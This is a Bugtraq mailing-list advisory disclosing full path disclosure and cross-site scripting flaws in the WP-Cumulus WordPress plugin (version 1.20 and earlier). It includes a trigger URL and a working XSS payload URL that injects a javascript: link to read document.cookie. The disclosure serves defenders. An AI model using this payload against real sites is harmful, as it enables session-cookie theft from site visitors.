Hello Bugtraq!
I want to warn you about security vulnerabilities in plugin WP-Cumulus for
WordPress.
These are Full path disclosure and Cross-Site Scripting vulnerabilities.
Full path disclosure:
http://site/wp-content/plugins/wp-cumulus/wp-cumulus.php
XSS:
http://site/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagclou
d=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-si
ze:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E
Code will execute after click. It's strictly social XSS.
Vulnerable are WP-Cumulus 1.20 and previous versions.
I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/3665/).
P.S.
This is one of that 20 plugins for WordPress where I found 135 different
vulnerabilities (during 2006-2009), which I wrote about in my summary of
vulnerabilities in plugins for WordPress (http://websecurity.com.ua/3397/).
Best wishes & regards,
